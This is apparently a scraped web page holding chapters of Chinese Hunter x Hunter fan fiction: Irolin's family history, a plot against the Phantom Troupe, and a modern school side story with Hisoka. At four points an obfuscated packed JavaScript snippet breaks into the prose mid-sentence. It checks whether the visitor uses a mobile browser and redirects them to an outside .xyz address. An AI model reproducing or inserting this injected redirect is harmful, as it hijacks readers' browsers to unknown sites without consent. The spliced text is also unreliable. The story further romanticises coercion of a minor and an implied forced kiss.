“那我们在哪里等你？”小杰还没找到西索的所在地，而格蕾西冷笑一声：“西索最有可能出现在哪里？当然是天空竞技场了，走吧哥几个，我跟你们说，只要你们去打两场，那家伙，闻着味儿都会自己过来的。” 真的假的啊……小杰和奇犽持怀疑态度。 “嘛，不过……我们身上确实也没有钱，去天空竞技场赚一点也不错。”奇犽下定决心，反正有猎人证，小杰可以不花钱而奇犽可以花小杰的钱，至于格蕾西，她的意思是，想花我的钱？下辈子再说吧！ 一行人分开，各自走各自的路。 一起等车时，酷拉皮卡和他是一路的：“很难得，看见格蕾西会主动去别的地方，没有和你在一起。”哪怕认识的时间少，他也很清楚，格蕾西和伊洛林是密不可分的。 “嗯，所以我也要快点回去看看，格蕾西的新朋友。” 他冲着酷拉皮卡笑一笑，真诚感谢他在猎人考试里的帮助，刚刚他打了两百万给雷欧力，希望他能够更好地生活，雷欧力发了一堆语音，他还没听，不过他待会儿路上可以慢慢听。 “还有，这是我的电话。” 伊洛林歪了歪头。 “随时联络，八折优惠。” “一定。” 酷拉皮卡笑容温和，可是他知道，复仇的路上，只有自己一个人，伊洛林再好，他也不可能把他拉进自己的复仇一环里。他要做的事，很沉重。伊洛林突然伸手，将手放在了酷拉皮卡的手上，他的头发短了，人也精神了，此刻眼底映照着酷拉皮卡的脸，他的笑意温和，鼓舞人心。 “我记住了，今天的酷拉皮卡，说得是一定。” “我身边有格蕾西，我才会坚持下来，酷拉皮卡，身边如果没有人的话会很难过的，所以不论是我还是小杰，奇犽还是雷欧力，甚至于格蕾西，我们都能帮你。” “别让自己一个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035594|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酷拉皮卡愣了许久，他不自觉看向伊洛林握住自己的手，白皙，柔软，像是没有骨头一样软，他听格蕾西说，伊洛林的手指大概是被重复掰断过，于是他情不自禁反握住伊洛林的手，露出了忧伤的表情。 “……很疼吗？” 伊洛林只是笑：“已经不记得了。” “我知道了。” 飞艇来临时，他们也要分开，可是这一刻，酷拉皮卡尤其庆幸自己陪同来到了揍敌客家，他对伊洛林…或许比自己以为的要重视一些。 不过，复仇的人，是不该去想平稳的未来的。 他，不会停下脚步。 伊洛林刚下飞艇就被接送上了车，五个猎人保护他的安全，其中一个是萨次，他是主动申请过来的。伊洛林单独出门会有危险，他明明知道这一点却没有在意，这让萨次情不自禁地有些沉重，毕竟伊洛林的性子，看起来柔软而脆弱，却比想的更强硬，那么他会不会也深陷复仇中呢？ 阿淇娅，你的孩子，一点也不像你。 伊洛林撑着下巴看着远方，他沉默片刻，突兀开口说了一句话。 “来了。” 汽车突兀失控，极速在路上不断S形走位，开车的猎人控制不住只能大喊一声自己要急刹车，川流不息的人群紧急避开，他一下撞飞路障开上出城的道路，并且旋转方向盘一头撞向了一侧墙壁。轰隆！！尘土飞扬。 荷枪实弹的雇佣兵从几辆紧跟在后的车上一拥而下，举起枪支疯狂扫射。 伊洛林岿然不动坐在车内，伸手掰断了压在自己手上的铁片，扭曲的车辆没能伤害到他半分，强化系的硬更加突出，他毫发无损，与跳开的萨次对视，只这一眼，萨次便明白，他不会出手。 萨次站起身，其中一名猎人打开防御罩，拦住了所有子弹。 念力者也是人，是人就会死，也会害怕子弹。 “诸位，十分钟内解决，不必手下留情。” 萨次打了一个响指，平静说道。 十分钟后，敌人死伤过半，而剩下活着的人则被猎人协会派来的人团团围住，只不过他们会不会吐出什么消息，就不得而知了。新的车辆停在伊洛林面前，他没什么表情，侧身坐了进去，身经百战的猎人协会成员对此颇为不满。 不帮忙就算了，还看热闹。 “念能力者，没有出现。”伊洛林望着窗外不断闪过的影子，他缓缓转过头来：“萨次考官，你觉得，他们会在什么时候出现呢。” 萨次沉默片刻。 “……在你离开协会的时候。” “看来你们猎人协会有内奸啊。” “十分抱歉，我会致电总部。” 伊洛林重新恢复了看着窗外的姿态，他想着怀里的项链，面无表情。人不犯我我不犯人，找人杀了我父母，还要找人来杀我，那么我们就有说不清的过节了。 要把他杀掉。 否则总有一天，格蕾西也会被拉进危险里。 伊洛林绝对不允许任何人给格蕾西危险，不论是西索，伊尔迷，还是这个人。绝对不允许。 52. 52 是的，伊洛林变了。 他不是从前那个对任何人都能心软的伊洛林了，目的不是为了复仇，而是那家伙妨碍到他的正常生活了。如果不是他，那么，伊洛林确信自己还能够处于亲情的漩涡里，更重要的是，任何能够威胁到格蕾西的事情都必须拔除。 他经过了两次蜕变，第一次的领悟显然并不是因为自己毫无所觉，而是他已经遗忘。 过去的记忆是很奇妙的东西，是记忆造就了人，还是人筑成出记忆？ 而伊洛林清楚地明白一件事。 如果他曾经主动抛弃了记忆，只证明一点，那些记忆用来换取了对他来说更重要的事情，这数十年如一日地清晰烙印在脑海里有关于格蕾西的一切，足够证明。 所以，无所谓的，能被舍弃的记忆不记起来也没关系，他只需要记住最重要的东西就能够坚持住，活下去，能被他抛弃的绝不会成为决定性的记忆，剩下的那些才是他最终想要的。记忆只是组成人的一部分，而不是最关键的部分。 他曾经一定也这样理解过，这样清醒过。 他只记住了格蕾西，所以格蕾西就是他最重要的人，一辈子都要保护的人。 所以任何威胁到格蕾西的，全部都要去死。 伊洛林毫无顾忌走进了猎人协会分部，任由他们跟在自己身后，直到会长办公室。说是办公室，与茶室也差不多，伊洛林并拢双腿坐在坐垫上，脊背挺得笔直，他虽然很不适应这样的坐姿，但总该是配合一下他们的礼仪。 尼特罗从门口走了进来，他依旧如同初见那般，看着就是个超脱尘世的老头。 他毫无正经姿态坐下，让伊洛林也放松一些。 “不需要太端庄，我的办公室里可没有追究这个的习惯。” 倒茶的助理吐槽道：“是会长您根本没有在做正经事的时候！”他们一唱一和，伊洛林不动如山，于是助理只好开始泡茶，端给伊洛林之后伊洛林也尝了一口，有点被难喝到，于是他往地上一放就当作无事发生。 “不需要太多的叙旧，还是直接开始讲述吧。” 尼特罗会长有些伤脑筋了：“伊洛林，并非是我们不近人情，揍敌客家把你保护得太好了，我们完全没有接触你的机会。只有这一次，老头子我是卖了大面子，才被他们允许的。” “那你亏了。” “嗯？” “他们本来就想让我知道，你做了亏本生意。” 尼特罗企图用尴尬的笑来掩饰自己一点点尴尬的心情顺便活跃一下气氛。这个揍敌客真的是，好处拿了，好人做了，坏人全都让猎人协会和自己做，收割了一下伊洛林的好感度，真是一群既要又要的家伙。 看来伊洛林已经完全和揍敌客达成了共识，真是可惜。 尼特罗拿出两张照片，摆放在了伊洛林的面前，照片上是一男一女，男人正温柔微笑，而女人正冲着镜头比了个胜利Y手势，那张脸和伊洛林太像，以至于伊洛林有些凝固了视线。她的开朗活泼与明媚透过照片在传递，像要说明人生的另一种选择、另一条路。 他们两个都是猎人，一个热爱研究昆虫，一个喜欢研究植物，一拍即合经常出去跑。 身手很普通，比起一般人来说当然是无敌，可面对别的猎人来说就有点跟不上，所以才会死在那个时候还不算很强大的伊尔迷手上。通俗一点说，他们的敏锐性太差，警惕性不足，却意外获得了足够让人眼馋到突破底线的巨额财富，又因为一个承诺拒绝上交，从而导致了自己的死亡。 “……巨额财富。” “啊，这涉及到一个家族。” 大概在五十年前，名为克雷诺德的家族在西里奇亚共和国是商业大亨，家族创始人抓住风口经商贸易获得了巨额的财富，拥有如此可观的遗产，继承人们却多达十几位，就此拉开了继承的战斗。而最终获得胜利的，是当时最年幼的继承人。继承人成为家主之后，为家族创造了更多的财富，这使得原定的继承人被暗杀，不论如何更换，都有人死去。 痛失三个爱子之后，唯一的女性继承人也被杀害，家主终于意识到过度的财富会招来横祸。 于是他昭告天下，他的遗产只有原定的十分之一，剩余的九分将作为宝藏而存在，开启的钥匙已经流入民间。这一举动导致觊觎财富的人失去了兴趣，同时也开始不计后果地寻找宝藏的存在，并且对家主进行了暗杀。到最后，是家主仅剩的那个孩子继承了遗产。 那个孩子拼尽全力也无法让家族赚到更多的钱。 于是，他也打起了被隐藏的宝藏的秘密。 “无聊的故事。” 伊洛林眼睛也不眨一下，所谓巨额宝藏没办法护住，是因为实力太低，所有继承人都太脆弱，如果是自己家这种继承制度，强者为尊，那也不会有这种烦恼了。 “是呢……”尼特罗不置可否，他只是在讲故事，因此也没什么情绪在其中。 那个时候，还是个孩子的金斯顿收到了父亲给予的礼物，那是一把金色的钥匙，父亲告诉他，这是一位老者的馈赠，他们家可以在最困难的时候把这个金子钥匙典当掉，但是金斯顿却认为，他们不能这么做。 “赠予的东西，就需要好好珍惜才对。” 金斯顿如此说道， 他后来走上了父亲的老路，才明白父亲曾经的欺骗，那并不是馈赠，而是父亲对一个朋友的承诺，那个朋友将这样的钥匙交给父亲，是因为他信任父亲的品行，而父亲交给孩子，是因为他信任孩子的品行。而金斯顿也决定将钥匙交给自己的孩子作为保管，成为猎人之后他结识了阿淇娅，两个人相识相爱，最终结婚孕育孩子。 “我记得很清楚，那一天金斯顿来找我，医院里给予了准确的答复。”尼特罗抿了一口茶：“他说，自己会拥有一个女孩，所以他想让女孩认我做爷爷。” “免了，我有爷爷。” “哈哈哈哈……真是扫兴啊伊洛林！” 尼特罗没有坚持，毕竟他也清楚，伊洛林心里还有气没地方撒呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035595|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他给这个女孩取名为零洛。” 但是在阿淇娅怀孕八个月的时候，不知为何，他们被发现了。金斯顿并不想将钥匙上交给猎人协会，第一是不想给他们惹麻烦，第二是不认为猎人协会本部也会安全，第三是无法决定将礼物转赠给他人。 于是这对夫妻认为，自己可以死去，但孩子是无辜的。 那个时候，追杀愈演愈烈，猎人协会提供了安全屋，而金斯顿将钥匙放进了项链里，要送给自己未出世的女儿，这个消息被传播出去之后，尼特罗抓住了高层里的叛徒。 谁也没想到，当年不过十二岁的伊尔迷，出入安全屋如入无人之境。 当看到阿淇娅的遗体时，尼特罗知道了两条消息。 第一，阿淇娅令自己提前诞下了孩子。 第二，杀手抱走了孩子，还将钥匙一并夺走了。 杀手极具揍敌客家的风格，因此尼特罗就地将阿淇娅与金斯顿一并火化，放出消息说是一尸两命，隐藏起孩子还存活的事实。而后他开始打探揍敌客家是否出现了新的女婴，哪怕是佣人里有也可以，但是那个时候给予的回答是没有。 揍敌客家上报的新生儿数量是比凶杀案还提前好几天的双胞胎。 猎人协会的手伸不进揍敌客家。 但是后来发现揍敌客家全是男孩的时候，尼特罗才以为揍敌客只是抱走了就丢弃，所以开始探查流星街的方向。 而揍敌客撤走之后，猎人协会搜刮完毕，第三拨人就是买凶杀人的克雷德诺家族现任家主的人，他们什么也没获得，这些年对猎人协会死缠烂打，直到伊洛林出现在了天空竞技场。 他们长得很像，基本就是一个模子刻出来的。 阿淇娅还年幼时，也曾是这样的稚嫩，一颦一笑都极具感染力，只是伊洛林的脸上没什么表情。 而克雷德诺家主由于操之过急，竟然聘请了一千名猎人袭击揍敌客家，让猎人协会也发现了伊洛林，他们明里暗里地暗示了揍敌客家两年之久，才让对方松口，让伊洛林来考猎人执照，剩下的事情就看猎人协会自己地处理了。 “这就是全部？” “这就是全部。” 伊洛林消化了一会儿，想起了那个对自己说话的男人。 他从口袋里掏出一个盒子放在地上，推给了尼特罗：“我对宝藏没兴趣，你拿去吧。” 尼特罗看也不看，将盒子又推了回去。 “你误会了，我们猎人协会不缺钱用。” “是吗。” 伊洛林望了一眼门口，他露出了一个有些幸灾乐祸的表情。 “但是看起来有些人很缺钱用，那么，老规矩？” 尼特罗叹了口气，站了起来。 “你这孩子，撒气的话，我要怎么做你才满意？” 伊洛林指了指茶。 “我要茶叶泡的，不要这种茶。” “好。” 下一秒，办公室的大门被骤然轰开了。 53. 53 战斗三分钟结束，尼特罗甚至有闲心情坐下来喝一杯茶。 助理上了茶叶，泡了热茶，伊洛林吹了吹茶汤，轻轻抿一口，他坐在位置上动也不动，直到萨次从外面进来讲述了所有经过。 猎人协会内部的叛徒。 “你们真是叛徒上长了个协会。” 伊洛林吐槽道。 “所以最近这几年，考生们的人品也是审查的主要对象。”尼特罗感觉很头疼，被格蕾西拆了一半的分部，好不容易建好了，这下又塌了三分之一，能不能别在猎人协会里打。他喝了口茶，被烫得舌根发麻，强忍着放下又开口：“所以，你有什么打算？可以说来听听吗。” 伊洛林岿然不动地喝茶。 “你们的决定，先说说。” “嘛……克雷诺德家族的根系太多，其中，涉及犯罪的也不在少数。”尼特罗说道：“我们希望将他们一网打尽，其中需要你配合。也就是……正确论证。” 用一个正义的借口，杀掉一群人。 简而言之就是这么回事。伊洛林并没有觉得什么，他事先看过揍敌客家收集的资料，只是漫不经心比对着其中的细节，全部对上后才相信猎人协会并没有在撒谎，比起不认识的人，他更相信自己的家人。 “可以，但我有一个要求。” “你想用我做刀，那我需要和你「契约」如何。” 伊洛林的要求是，不暴露揍敌客家。 这一点尼特罗似乎并不吃惊，只不过他依旧重复了一遍这个要求，仿佛在询问伊洛林的原因。 伊洛林点点头。揍敌客是杀手组织，杀手必须讲究诚信，所以不允许透露委托人的姓名和联络方式是最基础的，而对方狗急跳墙说不准会开始抹黑，说揍敌客破坏了契约协议，当然这一点揍敌客是没有的，调查的东西走的都是私底下的活计，当初单主的一切都封存在档案里无人翻阅。毕竟，猎人协会都清晰明了的对象，揍敌客家怎么会不知道？ 但是自己知道是一点，别人怎么看是另一点，揍敌客家不在乎别人的看法，但在乎交易。 伊洛林不允许自己的存在会给揍敌客抹黑。 “我需要周密的计划。” 尼特罗了然于心，他告诉伊洛林现在可以回家，你父亲早就拿到了能够解决这件事的筹码，只是等待着你的决定而已。 于是伊洛林离开家的半天后，又回到了揍敌客家。 当然，出门的时候遭遇了念能力者的袭击，他只是晃了晃身体，便轻而易举夺走了一个人的心脏，而后碾碎在手指间。伊洛林感受着指尖的黏稠，心想，改变一个人，还真是一件容易又不太容易的事情。 他擦干净手指，没再停留脚步。 而这一次，席巴和伊尔迷共同等待着他和猎人协会达成共识，这样，他们就能安排继续的行动。这跟逗人玩有什么区别？伊洛林想不明白，自己不想复仇，达不成协议契约，揍敌客家就不告诉自己后续安排了？ 他的疑惑在看到密室里的女人时，完全消失了。 她有一头蓝色的短发，鬓角却长至肋下，这些较长的头发均匀分成三股编成两条细小的麻花辫，眼尾微微上挑，是与伊洛林不太相同的圆润猫眼，眼下没有泪痣，然而她的长相却像极了伊洛林。她姿态随意，靠在墙壁上，身躯修长看上去起码有一米七以上，体形匀称该瘦地方瘦，该丰腴的地方一块不差，甚至手臂上有凸起的明显流畅肌肉线条。她轻轻抬眼，一双蓝色的眼眸安静注视着伊洛林。 伊洛林的脑海里突兀闪过一个人的名字，零。 格蕾西说过，她在流星街将零错认为自己，而门琪询问过伊洛林，是否有姐姐。 原来世界上真的有一个毫不相干的人，会和自己长得那么像。 “零小姐，就是猎人协会的诚意。” 席巴往沙发上一坐，姿态随性，却有一种高位者自然而然居高临下的气势在其中，伊尔迷走至席巴身侧微微转身坐在沙发扶手上，俨然一副等待伊洛林自己交涉的模样。他的脖子上还横着红色的手印，没怎么治疗，就那么随性留着，提醒所有人伊洛林曾经在他身上施加的暴力。 “……格蕾西很想你。” 伊洛林说道。 “还有，感谢你在流星街对格蕾西的照顾。” “嗯。”零点点头，她没什么笑意，微微侧首，碎发晃动在面颊一侧，随着眨眼的动作，她的念力溢出些许，与伊洛林的似乎并没有相差多少：“很好，你也是强化系。” “格蕾西那边，不客气，她也是我的朋友，我也很想她。” 伊洛林沉默片刻，他索性走到席巴身边一坐，等待着零的开口。 而零把本身就放在房间里的黑板拖了过来，黑板上放着一些照片，写着名字和喜好。零拿着一根细长木棍充当教鞭，面无表情开始介绍。 “这是幻影旅团成员的详细信息，我了解的全部就都在这里，包括念能力和暂时的住所。你应该清楚幻影旅团是谁才对。” 伊洛林点点头。 身为杀手，对世界上知名的罪犯还是需要了解的，毕竟他们的赏金也很诱人。 “从今以后，我会是揍敌客家的二小姐，伊洛林。” 教鞭直指伊洛林。 “而你，是被丢弃在流星街的零洛。” “你需要和幻影旅团接触，营造出有力的证据，我给你的身份是……我的女儿。” 零的教鞭拍向一张金发男人的照片。 男人拥有一张较为可爱的娃娃脸，肌肉却与本人并不相符，一脸好相处。 “这是你的父亲，名字是侠客，你可以用我的身份接触他，他不会拒绝你。” “……你该不会真的有他的孩子吧？” “……然后是库洛洛。”零自然而然跳过了这个话题，点了点中心部分黑发男人的脸：“他会对你产生百分百的怀疑，因为他从来不会相信无缘无故到来的人，我给你创造的身份足够他查证，但是你要记住，获取足够的身份信息证明之后就必须离开。你无法骗过这个男人。” “他很危险。” “此外，注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035596|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意两个人，一个派克诺坦，她能读心，二是玛琪，她的直觉很厉害，不要过度表现自己。” “从今天开始，我们会生活在一起两天，事无巨细，注意事项，我会告诉你，你和家里人相处的方式，细节，你要告诉我。”她这么说着，停顿了一下，目光转向席巴：“请所有人开始称呼我为伊洛林，然后，爸爸，你应该没有对我的孩子们做出不饶恕的事情吧。” 蓝色的眼瞳比冰块更冷漠。 可以预见，猎人协会提供了她，获取了她的帮助，而揍敌客家为了保证她的配合，威胁了她。 “当然，我不会用交易欺骗你。”席巴勾唇轻笑，握拳的手掌撑在面颊一侧，他用一种欣赏的眼神看着零，伸手摸了摸伊洛林的发顶作为安抚：“你是个聪明人，所以他们会不会安全到最后，就看你。” 伊洛林疑惑皱起眉头。 “……孩子们？” “啊，是这样呢。”伊尔迷挑起自己的一缕长发，声音平和，甚至带了点柔和：“十六所孤儿院，五千名孤儿，真是一位孜孜不倦的女性。” 伊洛林瞳孔微缩，他下意识看向席巴，发顶上的手掌依旧传达安全感，席巴看着伊洛林的眼睛，而后他们便明白了彼此的意思。伊洛林不愿意伤害孤儿院的任何人，而席巴也从未有过这个意思，只不过是口头威胁而已。 “但我还有个问题，为什么我必须接触幻影旅团？” 零收回了教鞭，放在一侧，目光依旧冷漠：“因为，在旅团，你是我的女儿，在外面，你要继承我的一切，所以，我的路会变成你走的路，只不过时间上略有修改。没有人会听长篇大论的瓜，他们只会相信眼前的事物。” “我可以问一个私人的问题吗。” “我对你不能有任何秘密。” 伊洛林想了想，她问道：“你为什么没加入幻影旅团？” 两天时间弹指一挥间，伊洛林整装出发，前往天空竞技场与格蕾西汇合，他出发时对着镜子整理自己的头发——染成蓝色的、比过去更短一些的后发，接长的鬓角编成麻花，蓝色的美瞳遮住原本的黑色双目，只需要用中医针戳刺后脑就能隐藏起泪痣。 他身侧是长发的“伊洛林”。 波浪卷的黑发，同色系的眼睛，眼尾一点泪痣显得她风情万种，韵味十足。而和一侧的伊尔迷看起来，确实是像极了亲兄妹，而伊尔迷的目光落在伊洛林的身上。 不，或许，现在要叫他零洛。 伊尔迷教会了他如何改变身体，隐藏喉结，改造自己成女性，紧急封闭记忆的方法，与最快速易容的几个手段。 “给我们单独相处的时间。” 伊尔迷吩咐“伊洛林”，“伊洛林”没什么想法，说了一声好的哥哥，她走了出去，而门关上了。她听得见里面发生了什么，情不自禁翻了个白眼，而紧闭着的门开启后，零洛逃也似的窜了出去，红肿的唇和脖子上的狼藉说明了一切，不过大概是没吃到嘴里，伊尔迷的表情充满了对此的怨念。 零无声嫌弃。 禽兽。 54. 现代西索x顾深深番外[番外] 家人们，谁懂啊，喂狗反而被狗追了十里地！ 顾深深从来都知道，不能随手做好人好事，毕竟有些事情是需要付出代价，在物欲横流的社会里，能够不怕被摔倒老人坑的，也就只有林洛这种傻得冒泡的天真姑娘，她可没那么多钱，她家里人也肯定只会骂她惹是生非。 但，那确实是个意外。 她只不过是刚下晚自习，只不过是家离学校不远，恰好今天没和林洛一起走，又那么恰好手头还有下午吃剩的一个肉包子。 就好像一切都被命运安排好了，她在那个十字路口遇见了满身狼狈的红发男人，散着头发显得乖巧，比她大不到哪里去估计就是高中生，一张脸还残留着些许稚嫩青涩，面无表情看着地面，他看着像是逃难来捡垃圾的。但这个城市这么繁华，怎么会有这么好看的人在捡垃圾？ 如果时光倒流，顾深深愿荤素搭配，求菩萨保佑，自己不要颜控。 如果不是他长得好看，肉眼可见的漂亮，顾深深也不会停下来，试探性的把肉包给他。男人抬起头，露出刘海下一双微微上挑的狐狸眼，他骤然勾起唇角，接过了那个肉包。他的声音软又粘稠，像是撒了很多糖的红豆饭，拉着丝的同你说话，语气也会变成暧昧似的。 “……你叫，什么名字？” 顾深深心里一个激灵，觉得对方不太好惹，她可不想要什么狐仙报恩的剧情，也不觉得自己能被天降落魄少爷砸中脑袋，获得一个家庭的投喂，例如林洛。 她慢慢后退，撒腿就跑。 对方没追上来，但是回头看，远远的，似乎一个长头发的男人站在了他身侧和他说话，顾深深总觉得放的不是好屁，赶紧回家洗漱，明天还要上课呢。 第二天顾深深来上课时还有点精神不济，林洛给她带了早餐，煎饼果子配油条，两个人一人一半在校门口花坛边吃边聊天，富裕的生活没把林洛养的娇气，坐在大马路上啃煎饼果子还是嗦面都做的理直气壮。 “你怎么啦，昨晚上睡得不好？” “对。”顾深深叹气，“我梦见自己被一只狐狸缠上了，死活不撒手，我怕他身上有传染病，气的我咬它，它还在笑！” 真是噩梦！ 两个女孩共同点评。 “诶不过话说回来，你那便宜大哥真没对你做什么吧？”顾深深瞅着林洛的脸色，生怕她遇到了什么事却不肯说出来，林洛反而脸一红，别别扭扭起来，“我觉得是我误会了，他对我很好，什么也没做，就单纯的哄我睡觉……大哥他不是那样的人，我应该更信任他一点！” 男人？可信？顾深深虽然才读初中，但是她觉得，还是算了吧！ “总之你注意点，别把自己搭进去了。” “嗯嗯！” 她们吃完早餐回班上，恰好开始早读课，本以为今天就这么过去了的顾深深，在食堂里重新遇见了昨天的红发男人。 他确实是高中部的，毕竟身侧站着林洛的便宜大哥伊尔迷，两个人说着话，一个笑，一个不笑，颜值出挑，人们的视线中心，林洛叫了一声哥哥，惹得伊尔迷回过头来，而顾深深被西索看了一眼，整个人都不好了。这家伙穿校服显得人模狗样，散着发还算乖巧，只是那一双眼睛怎么看怎么不对味，像极了梦里死缠烂打的狐狸。 “介绍一下，这是西索。”伊尔迷言简意赅，“这我妹妹，林洛，那她同学，顾深深。” 顾深深。西索低声叼毛了一句，扬起灿烂的笑容，怎么看都毛骨悚然的那种灿烂，“嗨。还记得我吗？” 顾深深暗道不妙，在这里叙旧，不如吃盘子里的黄焖鸡，哈哈两声拉着林洛就走，不过他们刚坐下，对面两个人也坐了下来，分不清楚是冤家路窄，还是黏着系男子的坚持。西索总是笑，笑起来就惹人心里不是很痛快，顾深深很少没由来的想避开某个人，西索很不幸就是其中之一。这种感觉和喂了狗却被狗咬一口没什么区别。 他们吃着饭，两个男的自顾自的聊天。 “你妈妈还在生你的气吗？” “嗯~还好吧，她倒是都发泄在丈夫身上了呢?毕竟啊，他俩就是这么的互相爱着对方呢?” “诶，这样吗。” “对哦~不过啊，我怎么记得你家里好像没有妹妹？” “捡的。她爹妈不要了，我要。” “原来如此、原来如此。” 西索一连说了两遍原来如此，像是在心底盘算什么，顾深深埋头苦吃，决心两耳不闻窗外事，一心只吃食堂饭，嗯，好吃，真好吃。 林洛小口小口吃着饭，伊尔迷就将自己盘子里的肥肉肉分离，肥的挑出去，瘦的夹在林洛碗里，要她多吃一些，顺手还帮忙开了她买的汽水，顾深深头皮一紧，西索果真在有样学样的帮她开汽水，她护住食物，警惕着对面不要突然的自我，“我有洁癖，不吃别人碗里的！” “诶？” “诶？” 林洛还在吃肉，瞪着大眼睛，好像一只吃瓜的猹，也像一个头顶着问号的路人NPC。 你们两个男的在诶什么啊！ 蛇鼠一窝，近墨者黑！！ 顾深深气的饭都剩了点，林洛拉着她去买了点小零食，午休时间不睡觉就走充裕的时间聊天，两个人聊了昨天的事儿，知道顾深深的遭遇后，林洛立刻发消息问了伊尔迷，得到了让人头皮发麻的事情。 西索小时候因为太过于聪明，做过很多让人难以理解的事情，问题是他妈妈其实神经也不是很正常，这么多年和他爸相爱相杀你来我往都上社区黑名单了。西索从小生活在这种环境里，伊尔迷也不太清楚他的遭遇，只不过小学就被送去医院里常住，精神科。他在里头自学课程到高中，最近的考试也非常出色，人好像也正常了，就被放出来了，昨天的话大概是他出去爬山，试着不走寻常路，结果弄得自己够呛，所以坐在路边休息，今天才正式上学。 “……惹了个神经病。” 顾深深面无表情的评价道。 “但是我哥说，西索虽然脑子有病，但是还行，他不人身伤害？”虽然觉得西索这么个性格没在校外打架不应该啊，但林洛还是选择相信哥哥的话啊，毕竟伊尔迷不会撒谎，但她也心里慌慌的，“你要不，还是离他远点？” “他离我远点啊！！”顾深深崩溃。 这次是真的被狗咬了。 原以为会被纠缠，实际上却并没有，但顾深深却日益警惕，她觉得西索这种人，肯定憋不出什么好事。 果然，周五下课，西索开着摩托车就来了，顾深深后退好几步，就看见西索把墨镜抬了上去，他看着顾深深，挑了挑眉，“抓你抓不到的话，我可是会去抓你朋友的哦？”顾深深背后的林洛，依旧顶着个问号，她看看西索，看看顾深深，轻轻举了个手，“你抓我的话，我哥他……” 西索笑容不变，“你猜？” 顾深深不情不愿坐上了摩托车，还是在前面，他甚至不愿意让顾深深坐后面，说什么不安全。笑话，要安全，你安全帽搁哪儿呢！！ 林洛急得不行，扯着西索的手不让他走，威胁他要带走顾深深，她就咬他了！西索倒是没对这小女娃有什么顺毛的心思，毕竟有人能帮他解决。伊尔迷出现的很及时，从背后将林洛抱起来，不论林洛怎么扑腾都只是淡淡的say goodbye，顾深深比了个中指，你丫的公报私仇。 林洛哇一声就哭了，而西索一踩油门，车子飞了出去。 林洛哭得上气不接下气，第一次这么猛烈抗拒伊尔迷，“我讨厌大哥，讨厌大哥！” 而伊尔迷只是抱着她，稳稳的放在怀里，随她怎么折腾怎么闹，等她累了才安抚她，毕竟让妹妹发泄情绪也是重要的环节之一。他声音也温柔，像对奇犽那样对她，“顾深深的家庭，也不是很好吧？西索家虽然乱，但是父母已经都去度假了，比她自己家好多了吧？” “可是……可是你们都没有问她愿不愿意……” 伊尔迷掏出纸巾给她擦眼泪，擦鼻涕，耐心十足，“这不就是单独聊聊吗，西索那家伙虽然有点特立独行，但做事还是有底线的。你不信哥哥吗？” “可是他没带头盔！” “嗯，他给顾深深准备了头盔。” 顾深深确实被摁了个头盔在脑袋上，粉红色，hello Kitty，她一边哆嗦着给自己系好，一边害怕西索一不小心把自己摔死。骑车在公路上飞驰，他压低上半身时顾深深也被压了下去，盘山公路上，他的摩托车不断的转弯再转弯，甚至是漂移。他似乎觉得很爽，而顾深深也不知怎么觉得微妙的有些自由，只不过这自由的代价如果是死亡几率，她觉得自己不要也罢。 直到上了山顶，西索才停下来。 顾深深去了半条命，脚步虚浮，她趴在摩托车上魂魄都要飞起来了，而一旁的西索自然而然的笑语晏晏，“刺激吗？我就是喜欢这种感觉呢~虽然你看起来不像，但是我总觉得，我们应该是同类。” “谁要跟你做同类啊……”顾深深勉强支棱起来。 最后的半轮落日映入她的眼帘，要在这个城市看见夕阳落进地平线，好难啊。她望着夕阳沉入地平线，最后一抹余晖也消失不见，路灯纷纷亮起，城市陷入黑暗又突然变得色彩缤纷，西索把下巴垫在她的肩膀上，语气十分笃定。 “我也想要个妹妹，你来做我的妹妹吧！” “我拒绝。” “嗯~我会疼爱你的哦！” “谁要啊！！” 顾深深觉得他不可理喻，难以沟通。 不过这个打包带走的行为最终什么也没发生，就像是莫名其妙被人拉走兜风了一样，安全到家后西索就离开了，时间卡得恰到好处，像是晚自习刚下课走路回来，虽然今天并没有晚自习。大概唯一的后遗症就是，西索开始自称哥哥，甚至给她取了格蕾西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 